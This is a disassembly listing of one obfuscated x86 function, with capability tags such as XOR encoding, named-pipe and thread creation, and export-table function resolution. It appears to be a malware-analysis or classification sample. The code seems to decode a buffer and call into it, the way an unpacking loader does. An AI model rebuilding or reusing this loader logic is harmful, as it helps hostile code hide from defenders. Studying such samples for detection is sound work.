Function at 0x406b91
Capabilities:
Create pipe
Create thread
Encode data using xor
Get common file path
Resolve function by parsing pe exports
Terminate process

Disassembly:
sub esp, 0x20
mov eax, dword [esp + 0x2c]
mov ecx, 0x2933
mov dword [0x7a1440], eax
mov dword [esp + 0x2c], 0x2680
mov dword [esp + 0x10], 0x1f1b
mov dword [esp + 0x14], 0x219e
push ebx
mov dword [esp + 8], ecx
xor ebx, ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 4], 0x2783
mov dword [esp + 0x10], 0x2162
mov eax, dword [esp + 0xc]
push ebp
xor eax, ecx
mov ebp, 0x2054
push esi
push edi
cmp dword [esp + 0x10], eax
je 0x4074eb
mov eax, dword [esp + 0x20]
xor eax, 0x366a
cmp dword [esp + 0x14], eax
je 0x4072c5
mov eax, dword [esp + 0x10]
add eax, 0x1da
cmp dword [esp + 0x1c], eax
jge 0x406d80
mov eax, dword [esp + 0x1c]
xor eax, 0x11f
cmp dword [esp + 0x3c], eax
jle 0x406d80
mov eax, dword [0x7a1444]
xor ecx, ecx
inc ecx
mov dword [eax], 0xd
mov eax, dword [0x7a1444]
mov dword [eax + 4], 6
mov eax, dword [0x7a1444]
mov dword [0x7a132c], ecx
mov dword [0x7a1334], 0x44
mov dword [0x7a1344], ebx
mov dword [eax + 0x34], ebx
mov eax, dword [0x7a1444]
mov dword [eax + 0x44], ebx
mov eax, dword [0x7a1444]
mov dword [0x7a1368], ecx
mov dword [0x7a137c], ebx
mov dword [0x7a1384], ebx
mov dword [eax + 0x74], ebx
mov eax, dword [0x7a1444]
mov dword [eax + 0x78], 9
mov eax, dword [0x7a1444]
mov dword [eax + 0x84], ebx
mov eax, dword [0x7a1444]
mov dword [0x7a13cc], 0x11
mov dword [0x7a13b8], 0x49
mov dword [0x7a13bc], ecx
mov dword [0x7a13c4], ebx
mov dword [0x7a13c8], ecx
mov dword [eax + 0xbc], ebx
mov eax, dword [0x7a1444]
mov dword [eax + 0xc4], 0xe
mov eax, dword [0x7a1444]
mov dword [0x7a13e8], ecx
mov dword [eax + 0xdc], ebx
mov eax, dword [0x7a1444]
mov dword [eax + 0xe4], ebx
mov dword [0x7a1410], ecx
mov dword [0x7a1420], ebx
mov dword [0x7a1424], ebx
mov dword [0x7a142c], 0x14
mov dword [0x7a1430], ebx
add dword [esp + 0x20], 0x389
mov eax, dword [0x7a1444]
mov eax, dword [eax + 0xc4]
cmp eax, dword [0x7a13cc]
jae 0x406d45
mov eax, dword [0x7a1334]
xor eax, dword [0x7a1320]
xor eax, 0x41040
mov dword [0x7a141c], eax
mov eax, dword [0x7a1424]
cmp eax, dword [0x7a1404]
jb 0x406d67
mov eax, dword [0x7a1410]
xor eax, dword [0x7a1420]
xor eax, 0xb4523
mov dword [0x7a1410], eax
mov eax, 0xfff3f6c0
sub eax, dword [0x7a132c]
add dword [0x7a1368], eax
add dword [esp + 0x14], 0xfffff82f
mov eax, dword [esp + 0x10]
add eax, 0xfffff831
cmp dword [esp + 0x24], eax
jl 0x406e03
mov edx, dword [0x7a142c]
mov ecx, dword [0x7a1444]
cmp dword [0x7a132c], edx
ja 0x406db5
mov eax, dword [0x7a1384]
add eax, 0x182fd1
or dword [0x7a13e8], eax
jmp 0x406dc9
mov eax, dword [0x7a13b8]
sub eax, dword [ecx + 0x24]
add eax, dword [0x7a1394]
add dword [0x7a13e8], eax
cmp dword [0x7a13e4], 0x30e0
je 0x406de4
mov eax, dword [0x7a1368]
add eax, 0x267fa9
mov dword [0x7a13c8], eax
mov eax, dword [0x7a1354]
mov ecx, dword [ecx + 0xa4]
add eax, 0xd449f
add eax, ecx
imul eax, edx
mov dword [0x7a142c], eax
jmp 0x4070c1
mov eax, dword [esp + 0x3c]
and eax, dword [0x7a1368]
cmp dword [esp + 0x3c], eax
jb 0x407091
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x20]
mov esi, dword [0x7a1444]
imul ecx, eax
mov eax, dword [esp + 0x10]
xor eax, 0x1fb4
imul edx, eax, 0x1fb4
mov eax, dword [esp + 0x24]
imul edi, ecx
mov ecx, dword [0x7a1424]
sub ecx, eax
mov eax, dword [esp + 0x24]
xor eax, dword [esp + 0x3c]
imul ecx, ecx, 0x23d7
push eax
push ecx
push edx
push esi
push edi
call fcn.00407a92
mov dword [esp + 0x24], eax
add esp, 0x14
mov eax, dword [esp + 0x20]
and eax, 0x288f
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
imul ecx, dword [0x7a132c], 0x26ab
mov eax, dword [esp + 0x1c]
sub ecx, eax
imul eax, dword [0x7a1378], 0x1ff1
sub eax, 0x229d
push eax
mov eax, dword [0x7a1444]
mov eax, dword [eax + 4]
and eax, 0x207d
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [esp + 0x24]
mov edi, dword [esp + 0x24]
mov ecx, dword [esp + 0x10]
mov eax, dword [0x7a1444]
mov edx, dword [esp + 0x14]
mov esi, dword [0x7a1320]
and edi, dword [0x7a1438]
xor esi, 0x257d
sub ecx, dword [eax + 0x90]
mov eax, dword [0x7a1444]
or ebx, dword [0x7a13c8]
and edi, dword [0x7a1354]
xor ebx, 0x2971
mov ebp, dword [0x7a1334]
mov eax, dword [eax + 0x78]
imul eax, dword [0x7a1320]
xor ebp, dword [0x7a13c4]
imul edx, ecx
sub eax, dword [0x7a13bc]
push eax
push edx
push esi
push edi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, dword [esp + 0x10]
mov ecx, dword [0x7a134c]
sub ecx, eax
xor ecx, dword [0x7a1320]
push ecx
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
mov eax, dword [0x7a1444]
mov ecx, 0x207d
mov esi, dword [eax + 4]
mov edx, dword [eax + 0xbc]
or esi, ecx
mov eax, dword [esp + 0x20]
or edx, ecx
mov ecx, dword [0x7a1424]
sub ecx, eax
sub ecx, 0x2054
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edi, dword [esp + 0x18]
add eax, ecx
mov edx, dword [esp + 0x10]
add edi, eax
mov eax, dword [0x7a1444]
mov ecx, dword [esp + 0x10]
xor ecx, dword [0x7a132c]
mov esi, dword [0x7a13bc]
add edx, dword [eax + 0x78]
add esi, 0xffffe00f
mov eax, dword [esp + 0x10]
xor eax, dword [0x7a13d8]
or ecx, dword [0x7a1320]
or eax, 0x288f
or esi, dword [0x7a137c]
push eax
push ecx
push edx
push esi
push 0x7a1320
push edi
call fcn.00404730
mov dword [esp + 0x3c], eax
add esp, 0x18
mov ecx, dword [esp + 0x20]
mov eax, dword [0x7a1444]
xor ecx, dword [0x7a137c]
sub ecx, 0x1dd7
mov eax, dword [eax + 0xf0]
imul eax, dword [0x7a13a0]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov eax, dword [esp + 0x10]
xor eax, dword [esp + 0x3c]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x10]
xor eax, dword [0x7a13a0]
mov ebx, dword [esp + 0x18]
add ecx, eax
mov eax, dword [0x7a1444]
mov ebp, dword [0x7a1378]
mov dword [esp + 0x28], ecx
or ebp, 0x2680
and ebx, dword [eax + 0x20]
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x10]
or eax, dword [0x7a142c]
mov ecx, dword [esp + 0x10]
or edi, eax
mov eax, dword [0x7a1444]
mov edx, dword [esp + 0x14]
mov esi, dword [0x7a13a0]
add ebx, dword [0x7a13b8]
and esi, 0x2284
add ecx, dword [eax + 0x100]
mov eax, dword [esp + 0x14]
imul eax, dword [0x7a1420]
imul edx, ecx
or eax, dword [0x7a1410]
push eax
push edx
push esi
push edi
push ebx
push ebp
push dword [esp + 0x40]
push dword [esp + 0x48]
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ebp, 0x2054
jmp 0x4070c1
mov eax, dword [0x7a1444]
mov eax, dword [eax + 0xa8]
sub eax, dword [0x7a1334]
cmp dword [0x7a13c4], eax
jne 0x4070c1
imul eax, dword [0x7a1404], 0x1f1b
xor eax, dword [0x7a1364]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x1c]
add eax, 0x51e
cmp dword [esp + 0x18], eax
jge 0x4072c5
mov eax, dword [esp + 0x24]
add eax, 0xfffffedf
cmp dword [esp + 0x3c], eax
jle 0x4071cd
mov eax, dword [esp + 0x3c]
add eax, 0xfffff9d4
cmp dword [esp + 0x14], eax
jle 0x407189
mov eax, dword [0x7a13bc]
add eax, 0x18de89
xor dword [0x7a13b8], eax
add dword [esp + 0x1c], 0x621
mov edx, dword [0x7a1444]
mov eax, dword [edx + 0x84]
cmp dword [edx], eax
ja 0x40713c
imul eax, eax, 0xdebd
mov dword [edx + 0x84], eax
mov ecx, dword [0x7a1384]
mov edx, dword [0x7a1444]
jmp 0x40715a
mov eax, dword [0x7a137c]
xor eax, dword [0x7a1404]
mov ecx, dword [0x7a1384]
add eax, 0x662ec
xor ecx, eax
mov dword [0x7a1384], ecx
mov eax, dword [0x7a1394]
add eax, 0x40713
xor dword [0x7a141c], eax
mov eax, dword [0x7a1364]
cmp eax, dword [edx + 0x74]
jb 0x4072c5
lea eax, [ecx + 0x84aef]
xor dword [0x7a1398], eax
jmp 0x4072c5
mov eax, dword [0x7a1444]
mov ecx, dword [esp + 0x10]
xor ecx, dword [eax + 0x78]
imul ecx, dword [0x7a1368]
cmp dword [esp + 0x3c], ecx
jb 0x4072c5
mov eax, dword [0x7a1410]
sub eax, dword [0x7a1324]
add dword [esp + 0x3c], eax
imul eax, dword [esp + 0x3c], 0x295d
or eax, 0x219e
xor dword [0x7a1320], eax
jmp 0x4072c5
mov eax, dword [0x7a1444]
mov ecx, dword [esp + 0x18]
mov eax, dword [eax + 0xbc]
xor eax, 0x207d
imul ecx, eax
mov eax, dword [0x7a1444]
cmp dword [eax + 0x48], ecx
ja 0x4072c5
mov ecx, dword [esp + 0x14]
mov eax, dword [0x7a1444]
add ecx, 0xffffd68f
cmp dword [eax + 0xdc], ecx
je 0x4072c5
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x14]
mov ecx, dword [0x7a1320]
sub ecx, eax
or ebx, dword [0x7a1348]
or ecx, 0x2463
or dword [0x7a134c], ecx
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x24]
xor ecx, eax
mov edi, dword [esp + 0x14]
mov eax, ebp
mov esi, dword [esp + 0x20]
and edi, ecx
mov edx, dword [esp + 0x18]
sub eax, dword [0x7a13c0]
mov ecx, dword [0x7a1430]
add esi, eax
mov eax, dword [esp + 0x1c]
push dword [0x7a1444]
sub ecx, dword [0x7a13c0]
sub eax, dword [0x7a13e4]
and ecx, dword [0x7a1438]
xor edx, dword [0x7a1368]
push eax
push ecx
push edx
push esi
push edi
push ebx
call fcn.00405df9
mov esi, dword [0x7a13c8]
add esp, 0x1c
sub esi, dword [0x7a1394]
mov dword [esp + 0x24], eax
mov edx, dword [esp + 0x3c]
mov eax, dword [0x7a1444]
xor edx, 0x1a02
mov ecx, dword [esp + 0x3c]
or edx, 0x257d
or ecx, dword [eax + 0xc]
imul eax, dword [esp + 0x18], 0x1dd7
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [esp + 0x1c]
add eax, 0x1b0
cmp dword [esp + 0x20], eax
je 0x407419
mov eax, dword [0x7a13c4]
cmp eax, dword [0x7a1334]
mov eax, dword [0x7a1444]
jb 0x4072fa
mov ecx, dword [0x7a13fc]
add ecx, dword [0x7a1354]
mov dword [eax], ecx
jmp 0x407312
mov ecx, dword [0x7a1364]
sub ecx, dword [0x7a1420]
xor ecx, 0x27897
mov dword [eax + 0x84], ecx
mov eax, dword [0x7a13dc]
mov ecx, dword [0x7a13cc]
add eax, 0x130cf7
mov dword [0x7a1320], eax
add ecx, 0x8a0eb
mov eax, dword [0x7a1444]
mov dword [eax + 0x74], ecx
xor dword [esp + 0x1c], 0x2fe
mov eax, dword [esp + 0x14]
add eax, 0xfffffef2
cmp dword [esp + 0x1c], eax
jl 0x4074e9
mov eax, dword [0x7a1424]
mov edx, dword [0x7a1444]
add eax, 0x8a497
add dword [0x7a13e4], eax
cmp dword [edx + 4], 0xd715
jne 0x407390
mov eax, dword [0x7a1344]
sub eax, dword [0x7a13dc]
mov ecx, dword [0x7a1320]
xor eax, dword [0x7a1410]
add ecx, eax
mov dword [0x7a1320], ecx
jmp 0x4073b3
mov ecx, dword [edx + 0x104]
mov eax, dword [0x7a141c]
add ecx, dword [0x7a1394]
add eax, 0xfff77242
add eax, ecx
mov ecx, dword [0x7a1320]
mov dword [0x7a141c], eax
mov eax, dword [0x7a132c]
sub eax, ecx
add eax, 0x19e0b7
xor dword [edx + 0x24], eax
xor dword [esp + 0x3c], 0x6d4
mov ecx, dword [0x7a1444]
mov edx, dword [0x7a141c]
mov eax, dword [ecx + 0xe4]
add eax, dword [ecx + 0x34]
xor eax, 0x140d
sub edx, eax
cmp dword [0x7a1384], 0x150c9
mov dword [0x7a141c], edx
je 0x4074e9
mov ecx, dword [ecx + 0x74]
mov eax, 0x1b95c1
xor ecx, dword [0x7a1320]
sub eax, ecx
add edx, eax
mov dword [0x7a141c], edx
jmp 0x4074e9
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x24]
add eax, 0x257d
add ecx, eax
mov eax, dword [0x7a1444]
cmp dword [eax + 0x44], ecx
je 0x4074bc
mov eax, dword [esp + 0x20]
mov ecx, dword [0x7a13fc]
sub ecx, eax
sub ecx, 0x1dd7
cmp dword [0x7a1434], ecx
jbe 0x4074a2
mov eax, dword [esp + 0x24]
add eax, dword [0x7a1368]
imul eax, eax, 0x2162
cmp dword [0x7a13e4], eax
jb 0x4074a2
mov eax, dword [esp + 0x24]
xor eax, dword [esp + 0x3c]
or dword [0x7a13ec], eax
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x3c]
sub ecx, eax
mov eax, dword [esp + 0x20]
imul eax, ecx
xor dword [0x7a13f4], eax
mov eax, dword [esp + 0x10]
sub eax, dword [0x7a1340]
xor eax, 0x207d
add dword [0x7a1420], eax
mov ecx, dword [esp + 0x14]
mov eax, dword [0x7a1444]
or ecx, 0x1f1b
mov eax, dword [eax]
imul eax, ecx
add dword [esp + 0x3c], eax
jmp 0x4074e9
mov ecx, dword [esp + 0x10]
mov eax, dword [0x7a1444]
or ecx, ebp
cmp dword [eax + 0x10c], ecx
jne 0x4074e9
mov ecx, dword [esp + 0x24]
and ecx, dword [esp + 0x20]
add ecx, dword [0x7a134c]
mov eax, dword [esp + 0x14]
sub ecx, eax
mov dword [0x7a134c], ecx
xor ebx, ebx
mov eax, dword [esp + 0x14]
add eax, 0xfffffe52
cmp dword [esp + 0x20], eax
jle 0x407552
xor dword [esp + 0x18], 0x1dd7
mov ecx, dword [0x7a1444]
cmp dword [ecx + 0x14], 0xb44e
ja 0x407525
mov eax, dword [0x7a137c]
mov ecx, dword [ecx + 0x48]
add eax, 0xc114b
add eax, ecx
mov dword [0x7a1328], eax
xor dword [esp + 0x10], 0x6e1
xor dword [esp + 0x14], 0x7c9
mov eax, dword [0x7a1328]
mov ecx, dword [0x7a1354]
add eax, 0x34515866
sub ecx, dword [0x7a13dc]
add eax, ecx
mov dword [0x7a1328], eax
add dword [esp + 0x1c], 0x3e0
mov esi, dword [esp + 0x10]
mov eax, dword [0x7a13fc]
xor esi, 0x3c6
mov edx, dword [esp + 0x18]
xor eax, 0x538ce67
mov ecx, dword [esp + 0x3c]
add edx, 0x2a6
mov dword [0x7a1338], eax
add ecx, 0x40f
mov eax, dword [esp + 0x3c]
push dword [0x7a1444]
add eax, 0x909
push eax
push ecx
push edx
push esi
call fcn.00404ca3
mov dword [esp + 0x34], eax
add esp, 0x14
xor dword [esp + 0x18], 0x3daa
mov edx, 0x57c050
mov eax, dword [0x7a1394]
mov edi, ebx
mov ecx, dword [0x7a1444]
xor eax, dword [0x7a13e4]
add eax, 0x3cf87d01
xor dword [ecx + 0x54], eax
mov esi, dword [0x7a132c]
mov dword [0x7a1400], edx
mov edx, dword [edi + edx]
lea eax, [esi - 1]
mov ecx, dword [0x7a13b8]
add edi, 4
imul edx, dword [0x7a1374]
add ecx, 0xffe7213d
add dword [0x7a13e8], ecx
mov ecx, dword [0x7a1444]
add dword [ecx + 0xc8], eax
mov eax, dword [0x7a1444]
mov ecx, dword [eax + 0xe8]
mov eax, dword [0x7a13a8]
mov byte [eax + ecx], dl
mov ecx, dword [0x7a1444]
inc dword [0x7a13a8]
mov eax, dword [0x7a1364]
sub eax, dword [ecx + 0xc]
inc eax
xor dword [0x7a13e8], eax
mov eax, dword [0x7a13e4]
xor eax, 0x8a4a5
add dword [ecx + 0x100], eax
mov edx, dword [0x7a1444]
mov ecx, dword [0x7a1430]
xor ecx, dword [0x7a1410]
mov eax, dword [edx + 0x100]
sub dword [0x7a13dc], eax
mov eax, 0x9f807
sub eax, dword [0x7a137c]
add dword [0x7a1334], eax
mov eax, 0x9bd3c551
sub eax, ecx
add dword [0x7a1424], eax
mov eax, dword [0x7a1354]
add dword [0x7a1320], eax
mov eax, dword [edx]
xor eax, dword [0x7a1384]
xor eax, 0x1e1079
or dword [edx + 0x110], eax
mov esi, dword [0x7a1368]
mov eax, dword [0x7a1398]
add esi, 0xc0941
imul esi, dword [0x7a132c]
add eax, dword [0x7a1320]
xor eax, 0x272067
or esi, eax
mov dword [0x7a132c], esi
cmp edi, 0x21fbd0
jge 0x4076de
mov edx, dword [0x7a1400]
jmp 0x4075da
mov ecx, dword [0x7a13e8]
cmp ecx, 0xfb49
jae 0x4076fb
mov eax, 0x784e
sub eax, ecx
add dword [0x7a13bc], eax
jmp 0x40770a
mov eax, dword [0x7a1424]
xor eax, 0x3d7
mov dword [0x7a1374], eax
mov eax, dword [esp + 0x20]
add eax, 0xfffff8c0
cmp dword [esp + 0x24], eax
je 0x407a82
mov eax, dword [esp + 0x3c]
add eax, 0x250
cmp dword [esp + 0x10], eax
je 0x407a82
mov eax, dword [esp + 0x18]
xor eax, 0x6d6
cmp dword [esp + 0x24], eax
jge 0x407a82
mov eax, dword [esp + 0x20]
add eax, 0xfffff85d
cmp dword [esp + 0x3c], eax
jle 0x4079bf
mov eax, dword [esp + 0x1c]
xor eax, 0x815
cmp dword [esp + 0x20], eax
jl 0x4079bf
mov eax, dword [esp + 0x18]
cmp eax, dword [esp + 0x14]
jg 0x407923
mov ecx, dword [0x7a1444]
mov eax, 0x507108
sub dword [0x7a1374], 0x49249620
mov edi, ebx
mov edx, dword [0x7a1324]
cmp dword [ecx + 0x78], 0x89da
cmovbe eax, dword [0x7a1400]
mov dword [0x7a1400], eax
mov eax, dword [ecx + 0xe0]
mov ebx, dword [edi + eax]
lea eax, [edx - 6]
xor dword [0x7a13c4], eax
add edi, 4
mov eax, dword [0x7a1420]
sub eax, dword [0x7a1368]
sub eax, 0xc0940
add dword [ecx + 0x98], eax
mov eax, dword [0x7a13dc]
add eax, dword [0x7a13bc]
imul eax, dword [0x7a13e8]
imul ebx, dword [0x7a1374]
mov ecx, dword [0x7a1398]
add ecx, 0xfff1522e
add dword [0x7a137c], ecx
mov ecx, dword [0x7a13a8]
mov dword [0x7a13e8], eax
mov edx, ebx
mov eax, dword [0x7a1444]
shr edx, 0x10
mov eax, dword [eax + 0xbc]
xor dword [0x7a13e4], eax
mov eax, dword [0x7a1408]
mov byte [ecx + eax], dl
mov ecx, ebx
mov esi, dword [0x7a13a8]
mov edx, dword [0x7a1444]
inc esi
mov dword [0x7a13a8], esi
shr ecx, 8
mov eax, dword [edx + 0x5c]
sub eax, 0x9f807
xor dword [0x7a142c], eax
mov eax, dword [edx + 0xe8]
mov byte [esi + eax], cl
mov eax, dword [0x7a1404]
sub eax, dword [0x7a1334]
mov edx, dword [0x7a13a8]
xor eax, 0xffffffbd
imul eax, dword [0x7a13b8]
inc edx
mov ecx, dword [0x7a13cc]
add ecx, 0xffffffef
mov dword [0x7a13a8], edx
add dword [0x7a13dc], ecx
mov dword [0x7a13b8], eax
mov eax, dword [0x7a1408]
mov byte [edx + eax], bl
mov eax, dword [0x7a1344]
mov ecx, dword [0x7a13a4]
add eax, 0xfffd8763
mov edx, dword [0x7a1324]
add ecx, edx
inc dword [0x7a13a8]
add eax, ecx
mov ecx, dword [0x7a1444]
mov dword [0x7a1344], eax
mov eax, dword [ecx + 0x34]
sub dword [0x7a13bc], eax
mov eax, 0x10fbf58
sub eax, dword [0x7a1384]
mov dword [0x7a142c], eax
cmp edi, 0x73cc0
jl 0x4077a7
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
add esi, 0x80f
mov ecx, dword [esp + 0x14]
add edx, 0x62e
mov eax, dword [esp + 0x18]
sub ecx, 0x2b
add eax, 0x220
push eax
push ecx
push edx
push 0x7a1320
push esi
call fcn.00405688
add esp, 0x14
mov dword [esp + 0x20], eax
xor ebx, ebx
jmp 0x4079bf
mov eax, dword [esp + 0x14]
xor eax, dword [0x7a1324]
cmp dword [esp + 0x3c], eax
jbe 0x4079bf
mov eax, dword [0x7a1444]
mov ecx, dword [0x7a1394]
sub ecx, dword [eax + 0xa8]
mov eax, dword [esp + 0x18]
sub ecx, eax
mov eax, dword [esp + 0x1c]
imul eax, ecx
mov dword [esp + 0x1c], eax
mov esi, dword [esp + 0x24]
imul ecx, dword [esp + 0x18], 0x2971
mov eax, dword [0x7a1444]
mov edx, dword [0x7a132c]
xor edx, dword [0x7a1404]
add esi, dword [0x7a1420]
mov eax, dword [eax + 0x48]
sub ecx, 0x295d
xor esi, dword [0x7a1424]
add eax, 0x229d
push eax
push ecx
push edx
push 0x7a1320
push esi
call fcn.00407a92
mov ecx, dword [0x7a1420]
add esp, 0x14
sub ecx, dword [0x7a135c]
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x18]
sub ecx, eax
add ecx, ebp
mov dword [0x7a1420], ecx
mov ecx, dword [0x7a140c]
mov eax, dword [0x7a13d0]
xor dword [ebx + ecx], eax
add ebx, 4
mov ecx, dword [0x7a1444]
mov eax, dword [0x7a1398]
add eax, 0xfff1522e
or dword [ecx + 0x64], eax
mov edx, dword [0x7a1444]
mov eax, dword [edx + 0xf4]
add dword [0x7a13d0], eax
mov eax, dword [0x7a1424]
add eax, dword [0x7a1320]
xor eax, dword [edx + 0x9c]
xor eax, 0x187295
mov dword [edx + 0x9c], eax
cmp ebx, 0x1798dc
jl 0x4079bf
mov eax, dword [esp + 0x3c]
add eax, 0x40f
cmp dword [esp + 0x20], eax
jg 0x407a82
mov eax, dword [0x7a13c4]
cmp eax, dword [0x7a1398]
je 0x407a48
mov eax, dword [0x7a1444]
mov ecx, dword [0x7a140c]
mov dword [eax + 0xd8], ecx
jmp 0x407a53
mov eax, dword [0x7a13c8]
or dword [0x7a137c], eax
push dword [0x7a1440]
mov eax, dword [0x7a143c]
add eax, dword [0x7a1408]
push eax
mov eax, dword [0x7a1444]
push dword [0x7a1428]
call dword [eax + 0xd8]
mov ecx, dword [0x7a1444]
mov dword [ecx + 0xfc], eax
push dword [0x7a141c]
call dword [sym.imp.KERNEL32.dll_ExitProcess]